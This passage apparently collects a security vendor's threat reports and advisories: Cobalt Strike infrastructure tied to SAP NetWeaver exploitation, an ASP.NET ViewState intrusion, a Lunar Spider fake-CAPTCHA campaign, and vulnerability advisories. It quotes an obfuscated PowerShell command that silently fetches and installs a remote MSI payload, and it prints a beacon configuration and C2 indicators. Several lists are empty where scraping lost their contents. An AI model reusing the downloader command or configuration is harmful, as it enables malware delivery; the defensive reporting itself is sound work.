Once established, the webshells were used to perform a range of standard post-exploitation tasks. These included:

Figure 1- Sample of commands executed through the Webshells
Infrastructure Analysis
Two commands were issued to test infrastructure connectivity:
ping 184.174.96.67
ping 88.119.174.107These IP were identified as hosting active Cobalt Strike command-and-control servers at the time of the campaign.
The IP address 184.174.96.67 has been associated with the domain officetoolservices[.]com
The IP was clearly hosting a Cobalt Strike server, as evidenced by its HTTP status code 404 and the “Content-Length: 0”

Figure 2- HTTP Response headers on port 88 taken from ZoomEye
In addition, at least four Cobalt Strike samples were using officetoolservices[.]com as their command-and-control (C2) domain:
52ed846c3b966539f851e79bba4172f0d460471012bb3933528367562ad6695c
89c272122477af854a51de4e220161d1c823a303151ebceb8788bb8ced2b7ba8
a8e44d7534d71b0671eb21400a1798296784af02124019b694b7e687405d7628
d2fa11395e93733d0957b8359faf19dd3c89bb044917e1488d74bd512c770c68

Figure 3- VT graph of 184.174.96.67
All four samples shared a compilation timestamp from early April, suggesting they were not part of the initial exploitation wave we observed at the end of March, but rather part of a second phase of activity, likely leveraging continued access or targeting additional victims using the same infrastructure.
The analysis of the IP address 88.119.174.107 confirms its part of the attack infrastructure. At least one Cobalt Strike beacon sample found on VirusTotal was configured to use this IP directly as its command-and-control (C2) endpoint.
The IP was also returning a HTTP response header “Server: golfe2” on multiple ports (8081,8082,6443,7443) combined with HTTP status code 404 and “Content-Length: 0”, confirming its running a CobaltStrike C2 Server.

Figure 4- VT Graph of 88.119.174.107
In addition, a URL observed in the wild (https://88.119.174%5B.%5D107:22443/file.ext) was actively serving a Cobalt Strike payload during the exploitation timeframe. The file retrieved from this endpoint was identified with the following hash d7e4bb95401a19f9bf7ca280a4e743229998494790ab129b31b2a6c1cebebec7

Figure 5- VT Graph of d7e4bb95401a19f9bf7ca280a4e743229998494790ab129b31b2a6c1cebebec7
Interestingly, although this beacon was delivered from 88.119.174.107, its internal configuration pointed to a different C2 domain: networkmaintenanceservice[.]com
This beacon is the same payload retrieved by a DNS cobalt stager we observed during the post-exploitation phase and had the following key configuration parameters:
{
"BeaconType": [
"Hybrid HTTP DNS"
],
"Port": 1,
"SleepTime": 23815,
"MaxGetSize": 2796804,
"Jitter": 41,
"MaxDNS": 253,
"C2Server": "www.networkmaintenanceservice.com,/sq,sso.networkmaintenanceservice.com,/sq,login.networkmaintenanceservice.com,/sq,signin.networkmaintenanceservice.com,/sq,profile.networkmaintenanceservice.com,/sq,store.networkmaintenanceservice.com,/sq",
"DNS_Idle": "253.58.253.29",
"DNS_Sleep": 133,
"HttpGet_Verb": "GET",
"HttpPost_Verb": "POST",
"HttpPostChunk": 0,
"Spawnto_x86": "%windir%\\syswow64\\runonce.exe",
"Spawnto_x64": "%windir%\\sysnative\\runonce.exe",
"CryptoScheme": 0,
"Proxy_Behavior": "Use IE settings",
"Watermark": 1357776117,
"bStageCleanup": "True",
"bCFGCaution": "False",
"KillDate": 0,
"bProcInject_StartRWX": "False",
"bProcInject_UseRWX": "False",
"bProcInject_MinAllocSize": 24330,
"ProcInject_PrependAppend_x86": [
"kJCQ",
"Empty"
],
"ProcInject_PrependAppend_x64": [
"kJCQ",
"Empty"
],
"ProcInject_Execute": [
"CreateThread",
"RtlCreateUserThread",
"CreateRemoteThread"
],
"ProcInject_AllocationMethod": "VirtualAllocEx",
"bUsesCookies": "True",
"HostHeader": ""
}A notable characteristic shared across all Cobalt Strike beacons observed from the previous links is the watermark 1357776117. In Cobalt Strike, the watermark is a unique identifier embedded in each beacon, typically tied to a specific license or build. While these IDs can be reused (especially in cracked or leaked versions of the tool) they often serve as useful correlation points across unrelated incidents.
Watermark 1357776117 has been previously associated with activity linked to both the BlackBasta ransomware group and the Qilin ransomware operation. Although watermark reuse complicates direct attribution, the appearance of this same identifier across all observed beacons suggests that the actors involved are likely ransomware-driven.
Observation of the adversary’s infrastructure showed consistent naming conventions across multiple domains and subdomains. The attacker repeatedly used prefixes such as “sso.” and “login.” likely in an attempt to blend malicious traffic into legitimate enterprise communications.
Examples include:
The recurrence of these prefixes across unrelated domains suggests automated infrastructure generation, possibly using templated scripts or orchestration tooling to rapidly deploy new redirectors or C2 servers with plausible, enterprise-looking subdomains.
This campaign is a clear reminder that even ransomware groups now have access to zero-day vulnerabilities, once considered the exclusive domain of state-sponsored actors. Whether acquired through underground marketplaces, private exploit developers, or collaboration with initial access brokers, the use of a NetWeaver zero-day highlights how the ransomware ecosystem continues to evolve in both capability and reach.
The following list of indicators was extracted from observed activity related to the SAP NetWeaver exploitation campaign:
184.174.96[.]67
184.174.96[.]74
88.119.174[.]107
177.54.223[.]24
180.131.145[.]73
officetoolservices[.]com
networkmaintenanceservice[.]com
misctoolsupdate[.]com
leapsummergetis[.]com
onlinenetworkupdate[.]com
During a recent incident response engagement in June, our team observed an unattributed adversary exploiting a public-facing ASP.NET application, immediately followed by hands-on-keyboard activity. The initial access vector aligns with the technique described by Microsoft in February, involving the use of a known MachineKey to craft and sign malicious __VIEWSTATE payloads. This allowed the attacker to achieve remote code execution on the vulnerable server.
Post-compromise activity included the usage of in-memory Godzilla webshell, as noted in Microsoft’s prior reporting, along with post-exploitation framework Cobalt Strike. Additionally, poor OPSEC was observed throughout the intrusion, indicating potential gaps in adversary tradecraft despite the effective initial access.
While the adversary’s motivation remained unclear, they attempted to enumerate files on a file share and successfully downloaded several files. We assess with low to medium confidence that the adversary may originate from China, based on the observed TTPs and certain technical indicators identified during the investigation. The targeting of the health sector is still consistent with prior reporting, including the HC3 analyst note on the Godzilla webshell published in November 2024.

Figure 1- ViewState code injection attack chain leading to Godzilla (src: Code injection attacks using publicly disclosed ASP.NET machine keys | Microsoft Security Blog)
Although _VIEWSTATE deserialization exploits have been known for over a decade, adversaries continue to use them as an initial access vector, reflecting a widespread lack of visibility and effective mitigation of insecure configurations.
In practice, the __VIEWSTATE is a Base64-encoded string stored in a hidden field, used by ASP.NET Web Forms to persist the state of server-side controls across postbacks. This allows controls (like text boxes, dropdowns, etc.) to retain their values without the need for re-fetching from the server. Microsoft introduced protections to prevent malicious users from tampering with the contents of _VIEWSTATE. These protections include the use of a Message Authentication Code (MAC) to ensure integrity and encryption to ensure confidentiality. However, if an attacker gains possession of the MachineKey, which consists of both the ValidationKey (for the MAC) and the DecryptionKey (for encryption), they can craft malicious objects that will be accepted and deserialized by the server, potentially leading to code execution.
One key concept in .NET deserialization attacks is the use of a “gadget”, a class (or chain of classes) that already exists in the application or .NET framework and which executes code during deserialization. The final payload must be deserialized into an object of this class (or chain) to achieve remote code execution (RCE).
When our team started working on the case, the initial access vector was unclear. What we did know was that the w3wp.exe process had loaded suspicious .NET assemblies, and that webshells had been dropped on the affected server. Given this combination, the most likely explanation was exploitation of a vulnerability in the web application or the web server itself.
Among the .NET assemblies loaded, one particularly revealing artifact stood out, a .pdb path embedded in the binary metadata:
C:\Users\hbada\Desktop\ActivitySurrogateSelector\LoadLibrary\obj\Debug\LoadLibrary.pdb
The name ActivitySurrogateSelector refers to a known .NET serialization gadget that can be exploited to achieve arbitrary code execution during deserialization, especially when ViewState deserialization is misconfigured or MAC protection is bypassed.
Upon further investigation within the same time window, application logs revealed additional evidence of the attack. Specifically, Event ID 1316 was recorded with event value 4009, indicating that the adversary was attempting to inject malicious “__VIEWSTATE” payloads. This event is typically associated with ViewState validation failures, and in this context, it strongly suggested active tampering attempts using forged or manipulated serialized objects.

Figure 2- Application event log 1316
We then compared the application’s MachineKey values against a set of publicly known keys and discovered they were in fact already exposed. This confirmed that the application was using publicly available keys, a critical misconfiguration that enabled the attacker to forge valid ViewState payloads and bypass integrity validation.
The deserialized payload enabled the adversary to execute a series of commands aimed at discovering and enumerating the environment:

Note the mistyped commands such as “gorup” instead of “group” and “teamssix” value (a likely reference to the well-known cybersecurity blog Teamssix, which primarily targets Chinese-speaking audiences). These patterns, combined with the operational behavior, suggest that the adversary is likely Chinese-speaking and operating in a hands-on-keyboard manner.
Our adversary subsequently re-exploited the vulnerability to deploy password-protected webshells in multiple locations within the application including the “/Images” directory, in-memory Godzilla webshell, along with other post-exploitation tools such Cobalt Strike. Many of these attempts were blocked by the antivirus solution.

Figure 3- Failed attempt to load CobaltStrike implant
When the malicious .aspx webshell were uploaded and accessed, ASP.NET dynamically compiled it into a .NET assembly, resulting in a corresponding .dll file written to the Temporary ASP.NET Files directory under:
C:\Windows\Microsoft.NET\Framework64\<dotnet_version>\Temporary ASP.NET Files\root\< random >\<random>\App_Web_< random >.dll
This compiled DLL were then loaded into the IIS worker process (w3wp.exe) and executed as part of the normal request pipeline. The presence of these DLLs, serves as forensic artifact, indicating that the webshell was not only uploaded but also requested and executed by the server. In many cases, these DLLs can be reverse engineered to recover the webshell source code and capabilities when the source file is lost or cleaned.
We were able to get hands on the in-memory Godzilla-injected assembly, and analysis showed that it uses two main blocks:

Figure 4- In-memory webshell and assembly loading

Figure 5- AMSI bypass via hardware breakpoint
The attacker attempted to reflectively load the Juicy Potato tool, a well-known privilege escalation tool allowing local privilege escalation from a Windows Service account to “NT AUTHORITY\SYSTEM”. This attempt failed as the AMSI still detected the loading attempt and the antivirus blocked its execution.

Figure 6- JuicyPotato detected by AMSI
Using the capabilities of the post-exploitation frameworks, the attacker attempted to pivot laterally via RDP, but these attempts were unsuccessful as only failed logons were recorded on the target host, indicating that the credentials used were invalid.
The adversary’s brief intrusion ended there, as their implants were removed and the affected host was contained.
Early detection and response enabled us to stop the adversary before the attack could escalate, potentially preventing a far more severe breach.
However, these are two takeaways from this incident that should be considered going forward:
Lunar Spider is a financially motivated cybercrime group that has been active since at least 2017. The group primarily engages in financial fraud and access brokerage, targeting financial institutions, enterprises, and other organizations in North America and Europe.
Initially gaining notoriety through its use of the BokBot banking trojan (also known as IcedID), Lunar Spider has since evolved its tooling to include more advanced loaders such as Bumblebee and Lotus V2. The Lotus V2 loader is specifically designed for stealthy operation, facilitating the delivery of second-stage payloads to compromised systems.
Recent activity observed by our team links Lunar Spider to new delivery campaigns involving the Lotus V2 loader, leveraging deceptive techniques to bypass security defenses.

Figure 1: Lotus V2 – Infection chain
The campaign employs a fake CAPTCHA-based delivery tactic, designed to lure users into believing they must complete a CAPTCHA verification to continue browsing. This interaction initiates the execution of a malicious PowerShell command.
The observed PowerShell script uses COM object abuse (WindowsInstaller.Installer) to silently download and execute a malicious MSI package from a remote server:
C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -Window Hidden -C "$s='WindowsInstaljer.Installer';$x=($s[0..12]+'l'+$s[14..$s.Length])-join'';$i=New-Object -ComObject $x;$i.UILevel=2;$i.InstallProduct('https://icwwk[.]com','')Once the MSI installer is executed, it installs a legitimate executable into the %APPDATA% directory. In one observed case, this was a valid Intel Graphics binary placed at:
%APPDATA%\intel\igfxSDK.exeSHA256:
b7f8750851e70ec755343d322d7d81ea0fc1b12d4a1ab6a60e7c8605df4cd6a5Simultaneously, a malicious DLL named WTSAPI32.dll is dropped in the same directory:
SHA256:
e798f2b3f7a44f5a9db7199964a0b5cc157db8cb1e84a3c8cbe721dbac0f0604This binary exploits the DLL search order used by the legitimate binary, enabling DLL sideloading. When igfxSDK.exe is executed, it loads the attacker-controlled DLL instead of the legitimate system one. This results in the execution of the Lotus V2 loader, which is embedded within the malicious DLL.
At this stage of the infection chain, no alert was triggered by the EDR solution, likely due to the use of a trusted binary and a signed (though revoked) certificate for the malicious DLL, allowing the operation to remain stealthy.
Once executed, the malicious DLL initiates outbound communication to command and control infrastructure. This activity originates from the trusted process igfxSDK.exe. In our observed case, the EDR blocked the network callbacks and raised an alert based on threat intelligence signatures.
Lunar Spider operators have used stolen or abused code-signing certificates to sign malicious Lotus V2 components, further enhancing evasion by making the payloads appear trustworthy.
Certificate 1:
Associated Signed DLLs (SHA256):
Associated C2 Domains:
Certificate 2:
Associated Signed DLLs (SHA256):
Associated C2 Domains:
To complement EDR coverage, continuous threat hunting and the implementation of custom detection rules are essential for maintaining security, especially in scenarios where alerts are missed or gaps exist in system visibility.
(Tactics, Techniques, and Procedures) table based on the Lunar Spider – Lotus V2 Loader Campaign
On June 1 7, data resilience vendor Veeam released security updates to fix three vulnerabilities: one critical severity RCE and one high severity ACE vulnerability in Backup & Replication (VBR), as well as a medium severity local privilege escalation bug affecting the Windows Veeam agent. Importantly, successful exploitation first requires authentication in all three cases.
Veeam notes in the advisory that “unsupported versions are not tested, but are likely affected and should be considered vulnerable.”
CVE-2025-23121 (VBR, Critical/9.9):
CVE-2025-24286 (VBR, High/7.2):
CVE-2025-24287 (Veeam Agent for Windows, Medium/6.1):
The CFC will continue to monitor the situation and send an advisory update if needed. Investigation of threat hunting possibilities is ongoing.
Clients subscribed to our vulnerability scan services will receive relevant results if critical vulnerabilities are found within the scope of the scans as soon as a relevant plugin is made available by the scan provider.
Qualys IDs: (None at time of writing)
Tenable IDs: (None at time of writing)
https://www.bleepjngcomputer.com/news/security/new-veeam-rce-flaw-lets-domain-users-hack-backupz servers/
https://cybersecuritynews.com/veeam-vulnerabilities/
https://www.veeam.com/kb4743
CloudSEK’s BeVigil platform has recently uncovered a critical security flaw affecting a major aviation organization, exposing sensitive Azure Active Directory (Azure AD) data of over 50,000 users. The vulnerability stems from an exposed JavaScript file containing an unauthenticated API endpoint that issues elevated access tokens to the Microsoft Graph API. This exposure grants unauthorized access to detailed employee information, including executive-level data, putting the organization at significant risk of identity theft, privilege escalation, and targeted phishing attacks.
The vulnerability discovered by CloudSEK’s BeVigil platform was traced to a misconfigured public-facing JavaScript bundle hosted on a subdomain owned by a major aviation company. Upon inspection, this script was found to contain a hardcoded reference to an internal API endpoint. Critically, this endpoint was accessible without any form of authentication or authorization, exposing it to anyone who had knowledge of its location.
This unauthenticated endpoint issued Microsoft Graph API access tokens with elevated permissions, specifically User.Read.All and AccessReview.Read.All. These scopes allow broad visibility into Azure Active Directory (AD), including full user profiles, directory structure, and access governance policies.
Using these tokens, an attacker could query Microsoft Graph endpoints such as /users and /accessReviews, retrieving sensitive details for over 50,000 Azure AD users. The data included personal identifiers, user principal names (UPNs), job titles, contact information, reporting lines, and access review configurations — all without triggering any form of access control.
Particularly concerning was the exposure of executive and high-privilege user data, which significantly increases the risk of impersonation, spear phishing, and identity-based attacks. The API continued returning information for newly added users, further compounding the risk.
The root cause was a combination of exposing sensitive logic in client-side code and failing to enforce authentication or authorization on a backend service. No rate limiting or monitoring was in place, making the endpoint trivially exploitable and difficult to detect. This reflects a serious lapse in secure API design, identity management, and frontend-backend separation.
To mitigate the risks associated with this vulnerability, the following actions should be prioritized:
The CFC will continue to monitor the situation and send an advisory update if needed. Mentioned action is required to mitigate potential exploitation by restricting access, and enhancing security monitoring. This incident underscores the importance of securing front-end components and ensuring that sensitive backend services are never directly exposed. Organizations must proactively monitor their digital infrastructure and enforce strict access controls to protect user data and maintain regulatory compliance.
50,000+ Azure AD Users Exposed via Unsecured API: BeVigil Uncovers Critical Flaw | CloudSEK
50,000+ Azure AD Users Access Token Exposed From Unauthenticated API Endpoint#cybersecurity #azure #api | Steven Lim
On March 13, Ivanti disclosed two vulnerabilities which a ect their on-premise Endpoint Manager Mobile product: CVE-2025-4427 (an authentication bypass) and CVE-2025-4428 (an authenticated RCE vulnerability). While neither bug is critically severe on its own, with CVSS scores of 5.3 and 7.2, when chained together they provide a route for an unauthenticated remote attacker to execute malicious code on affected EPMM instances. Ivanti has confirmed limited in-the-wild exploitation of these bugs prior to initial disclosure, and multiple external sources including GreyNoise and Wiz have since confirmed ongoing in-the-wild exploitation starting on May 16, roughly coinciding with the public release of proof-of-concept code.
Ivanti Endpoint Manager Mobile, of the following versions:
Wiz summarizes the bugs’ technical details nicely:
“CVE-2025-4428 is a post-auth remote code execution vulnerability in EPMM’s DeviceFeatureUsageReportQueryRequestValidator. It arises from the unsafe handling of user-supplied input within error messages processed via Spring’s AbstractMessageSource, which allows attacker-controlled EL (Expression Language) injection. A crafted format parameter in the /api/v2/featureusage endpoint results in arbitrary Java code execution, confirmed via command injection (e.g., Runtime.exec()).
CVE-2025-4427 is an authentication bypass caused by improper request handling in EPMM’s route configuration. Routes like /rs/api/v2/featureusage were unintentionally exposed without requiring authentication due to missing <intercept-url> rules in Spring Security configurations. This allows unauthenticated access to the RCE sink, enabling full pre-auth RCE when chained with CVE2025-4428. However, as noted by watchTowr, this is more accurately described as an order-of-operations aw, as validator logic executes before authentication checks.”
Wiz has additionally shared IOCs gathered from one case of interest, the post-exploitation deployment of a Sliver implant:
The C2 IP address still appears to be operational, and based on a shared certi cate, likely means the following servers are also operated by this actor:
Patch your EPMM instance to one of the following versions:
Until patches are applied, restrict network access to the endpoints a ected by the authentication bypass, /rs/api/v2/* and /mifs/rs/api/v2/*.
The CFC will continue to monitor the situation and send an advisory update if needed. Beyond IOC searches, investigation of additional threat hunting possibilities is ongoing.
Clients subscribed to our vulnerability scan services will receive relevant results if critical vulnerabilities are found within the scope of the scans as soon as a relevant plugin is made available by the scan provider.
Qualys IDs: 530061, 732523
Tenable ID: 235860
https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM https://www.ivanti.com/blog/epmm-security-update https://www.greynoise.io/blog/ivanti-epmm-zero-days-reconnaissance-exploitation https://www.wiz.io/blog/ivanti-epmm-rce-vulnerability-chain-exploited-in-the-wil-cve-2025-4427-cve-2025-4 https://labs.watchtowr.com/expression-payloads-meet-mayhem-cve-2025-4427-and-cve-2025-4428/
On May 7, 2025, SonicWall and Rapid7 disclosed three vulnerabilities affecting SonicWall Secure Mobile Access (SMA) 100 Series appliances, including models 200, 210, 400, 410, and 500v. These vulnerabilities, tracked as CVE-2025-32819, CVE-2025-32820, and CVE-2025-32821, allow low-privileged authenticated SSLVPN users to escalate privileges and achieve root-level remote code execution (RCE) by chaining the flaws.
The vulnerabilities have been addressed in firmware version 10.2.1.15-81sv, and SonicWall strongly advises all customers to upgrade immediately. Notably, Rapid7 has observed indications that CVE-2025-32819 may have been exploited in the wild.
Impacted Products:
Affected Versions:
Fixed Version:
The vulnerabilities can be exploited in a sequence:
By chaining these vulnerabilities, an attacker can escalate privileges and execute arbitrary code with root-level access on the affected SMA appliance.
Until the patch is applied, consider the following mitigations:
Note: These measures reduce risk but do not eliminate the vulnerability. Upgrading to the patched firmware version is the only complete remediation.
Security teams should implement the following detection strategies:
The Cyber Fusion Center (CFC) is actively monitoring for exploitation attempts and evaluating threat intelligence for indicators of compromise (IOCs). Actions include:
At this time, there is no confirmed public proof-of-concept (PoC) exploit, but the potential for exploitation underscores the urgency of applying the available patches.
References